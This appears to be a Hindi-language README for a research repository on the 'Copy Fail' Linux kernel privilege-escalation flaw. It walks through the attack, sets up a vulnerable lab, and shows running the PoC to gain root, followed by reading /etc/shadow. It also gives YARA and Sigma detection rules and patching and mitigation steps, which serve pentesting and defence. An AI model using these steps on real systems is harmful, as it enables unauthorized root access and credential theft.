अनअप्रिविलेज्ड यूज़र  ──►  AF_ALG + splice()  ──►  4-बाइट पेज कैश लेखन  ──►  ROOT

AF_ALG (यूज़रस्पेस क्रिप्टो API)
└── algif_aead मॉड्यूल
    └── authencesn टेम्पलेट  ◄── कमजोर
        └── इन-प्लेस ऑप्टिमाइज़ेशन (2017)
            └── req->src == req->dst  ◄── splice() से पेज लिखने योग्य dst स्कैटरलिस्ट में जंजीर

चरण 1: AF_ALG AEAD सॉकेट खोलें
        socket(AF_ALG, SOCK_SEQPACKET, 0)

चरण 2: लक्ष्य फ़ाइल को संदर्भित करने वाले splice() पेज भेजें
        (विशेषाधिकार प्राप्त बाइनरी का पेज कैश पेज, जैसे /usr/bin/sudo)

चरण 3: authencesn स्क्रैच राइट ट्रिगर करें
        authencesn dst बफर को स्क्रैच पैड के रूप में उपयोग करता है →
        वैध आउटपुट क्षेत्र से परे 4 नियंत्रित बाइट लिखता है

चरण 4: लक्ष्य फ़ाइल का पेज कैश एंट्री अब भ्रष्ट है
        (डिस्क फ़ाइल अछूती — केवल मेमोरी कॉपी संशोधित)

चरण 5: संशोधित बाइनरी निष्पादित करें → ROOT

# कमिट में फिक्स: a664bf3d603d
git show a664bf3d603d

CVE-2026-31431-CopyFail/
│
├── 📄 README.md                          ← आप यहाँ हैं
├── 📄 LICENSE                            ← शोध/शैक्षिक लाइसेंस
├── 📄 DISCLAIMER.md                      ← कानूनी और नैतिक उपयोग नीति
├── 📄 CHANGELOG.md                       ← संस्करण इतिहास
│
├── 📂 docs/
│   ├── vulnerability-analysis.md         ← गहन विश्लेषण: मूल कारण और यांत्रिकी
│   ├── exploitation-walkthrough.md       ← चरण-दर-चरण कार्यप्रणाली
│   ├── affected-kernels.md               ← पूर्ण कर्नेल/डिस्ट्रो संस्करण मैट्रिक्स
│   ├── detection.md                      ← डिफेंडर, Tenable, Wazuh कवरेज
│   └── references.md                     ← सभी CVE, ब्लॉग, सलाहकार
│
├── 📂 exploit/
│   ├── README.md                         ← उपयोग, आवश्यक शर्तें, परीक्षित डिस्ट्रो
│   ├── copyfail.py                       ← संदर्भ PoC (शैक्षिक)
│   ├── trigger.c                         ← AF_ALG + splice() C ट्रिगर
│   └── variants/
│       ├── ubuntu.py                     ← Ubuntu-विशिष्ट प्रकार
│       ├── rhel.py                       ← RHEL/CentOS प्रकार
│       └── amazon_linux.py              ← Amazon Linux प्रकार
│
├── 📂 detection/
│   ├── yara/
│   │   └── copyfail.yar                  ← एक्सप्लॉइट आर्टिफैक्ट्स के लिए YARA नियम
│   ├── sigma/
│   │   └── copyfail_lpe.yml              ← SIEM/SOC के लिए Sigma नियम
│   └── scripts/
│       ├── check_vulnerable.sh           ← त्वरित कर्नेल भेद्यता जाँच
│       └── detect_algif_aead.sh         ← जाँचें कि मॉड्यूल लोड/सक्रिय है या नहीं
│
├── 📂 mitigation/
│   ├── README.md                         ← शमन अवलोकन
│   ├── disable_algif_aead.sh             ← प्रभावित कर्नेल मॉड्यूल अक्षम करें
│   ├── patch-notes.md                    ← अपस्ट्रीम पैच विवरण
│   └── kubernetes-hardening.md          ← K8s / कंटेनर सख्तीकरण
│
├── 📂 lab/
│   ├── Vagrantfile                       ← पुनरुत्पादनीय कमजोर VM
│   ├── setup.sh                          ← प्रयोगशाला बूटस्ट्रैप स्क्रिप्ट
│   └── docker/
│       └── Dockerfile                    ← कमजोर Ubuntu कंटेनर
│
├── 📂 reports/
│   ├── pentest-report-template.md        ← क्लाइंट-रेडी रिपोर्ट टेम्पलेट
│   └── sample-finding.md                ← नमूना खोज लेखन-अप
│
└── 📂 assets/
    ├── demo.gif                          ← (वैकल्पिक) टर्मिनल डेमो
    └── diagrams/
        └── page-cache-write.png         ← हमला प्रवाह आरेख

# रिपॉजिटरी क्लोन करें
git clone https://github.com/0xFuffM3/CVE-2026-31431-CopyFail.git
cd CVE-2026-31431-CopyFail

# कमजोर लैब VM शुरू करें
cd lab/
vagrant up

# लैब में SSH करें
vagrant ssh

# कर्नेल संस्करण सत्यापित करें (कमजोर होना चाहिए)
uname -r

cd lab/docker/

# कमजोर कंटेनर इमेज बनाएँ
docker build -t copyfail-lab .

# कर्नेल इंटरैक्शन के लिए आवश्यक विशेषाधिकारों के साथ चलाएँ
docker run --rm -it --privileged copyfail-lab /bin/bash

# त्वरित जाँच स्क्रिप्ट चलाएँ
chmod +x detection/scripts/check_vulnerable.sh
./detection/scripts/check_vulnerable.sh

[!] Kernel version: 5.15.0-91-generic
[!] algif_aead module: LOADED
[✗] System appears VULNERABLE to CVE-2026-31431 (Copy Fail)
[*] Recommended action: Apply kernel update or disable algif_aead

[✓] Kernel version: 6.1.132
[✓] System appears PATCHED against CVE-2026-31431 (Copy Fail)

# Python 3.6+
python3 --version

# आवश्यक कर्नेल मॉड्यूल मौजूद
lsmod | grep algif_aead

# लक्ष्य बाइनरी पढ़ने योग्य है सत्यापित करें
ls -la /usr/bin/sudo

cd exploit/

# वर्तमान विशेषाधिकार स्तर जाँचें
id
# uid=1000(user) gid=1000(user) groups=1000(user)

# कॉपी फ़ेल PoC चलाएँ
python3 copyfail.py

# विशेषाधिकार वृद्धि सत्यापित करें
id
# uid=0(root) gid=0(root) groups=0(root)

1. कर्नेल संस्करण की सूची बनाएँ
   └─► uname -r / cat /proc/version

2. जाँचें कि algif_aead लोड है या नहीं
   └─► lsmod | grep algif_aead

3. निम्न-विशेषाधिकार पकड़ की पुष्टि करें
   └─► id / whoami

4. कॉपी फ़ेल PoC निष्पादित करें
   └─► python3 exploit/copyfail.py

5. रूट एक्सेस सत्यापित करें
   └─► id && cat /etc/shadow

6. साक्ष्य दस्तावेज़ित करें
   └─► स्क्रीनशॉट + कर्नेल संस्करण, डिस्ट्रो, एक्सप्लॉइट हैश लॉग करें

7. शमन लागू करें (परीक्षण के बाद)
   └─► sudo bash mitigation/disable_algif_aead.sh

8. पैठ परीक्षण रिपोर्ट में शामिल करें
   └─► reports/pentest-report-template.md का उपयोग करें

// detection/yara/copyfail.yar
rule CopyFail_CVE_2026_31431 {
    meta:
        description = "Detects Copy Fail (CVE-2026-31431) exploit artefacts"
        author      = "0xFuffM3"
        date        = "2026-04-30"
        reference   = "https://copy.fail"
    strings:
        $py1 = "algif_aead" ascii
        $py2 = "AF_ALG" ascii
        $py3 = "splice" ascii
        $py4 = "page_cache" ascii
        $py5 = "authencesn" ascii
    condition:
        3 of them
}

yara detection/yara/copyfail.yar /tmp/ -r

# detection/sigma/copyfail_lpe.yml
title: Copy Fail LPE Exploit Execution (CVE-2026-31431)
status: stable
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        CommandLine|contains:
            - 'AF_ALG'
            - 'algif_aead'
            - 'authencesn'
    condition: selection
falsepositives:
    - Legitimate crypto API testing
level: high

chmod +x detection/scripts/detect_algif_aead.sh
./detection/scripts/detect_algif_aead.sh

# Ubuntu / Debian
sudo apt-get update && sudo apt-get upgrade linux-image-generic

# RHEL / CentOS
sudo yum update kernel

# Amazon Linux
sudo yum update kernel

# अपडेट के बाद, रीबूट करें
sudo reboot

# शमन स्क्रिप्ट चलाएँ
chmod +x mitigation/disable_algif_aead.sh
sudo bash mitigation/disable_algif_aead.sh

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || echo "[*] Module not currently loaded"
echo "[✓] algif_aead disabled. Reboot to confirm persistence."

Finding:    Local Privilege Escalation via Copy Fail (CVE-2026-31431)
Severity:   HIGH (CVSS 7.8)
Host:       10.10.10.55 (ubuntu-prod-01)
Kernel:     5.15.0-91-generic

Evidence:
  - Unprivileged shell (uid=1000) escalated to root (uid=0)
  - Kernel module algif_aead confirmed loaded
  - No disk artefacts — page cache only

Recommendation:
  1. Apply vendor kernel patch immediately
  2. Interim: disable algif_aead module
  3. Review Kubernetes nodes and CI/CD runners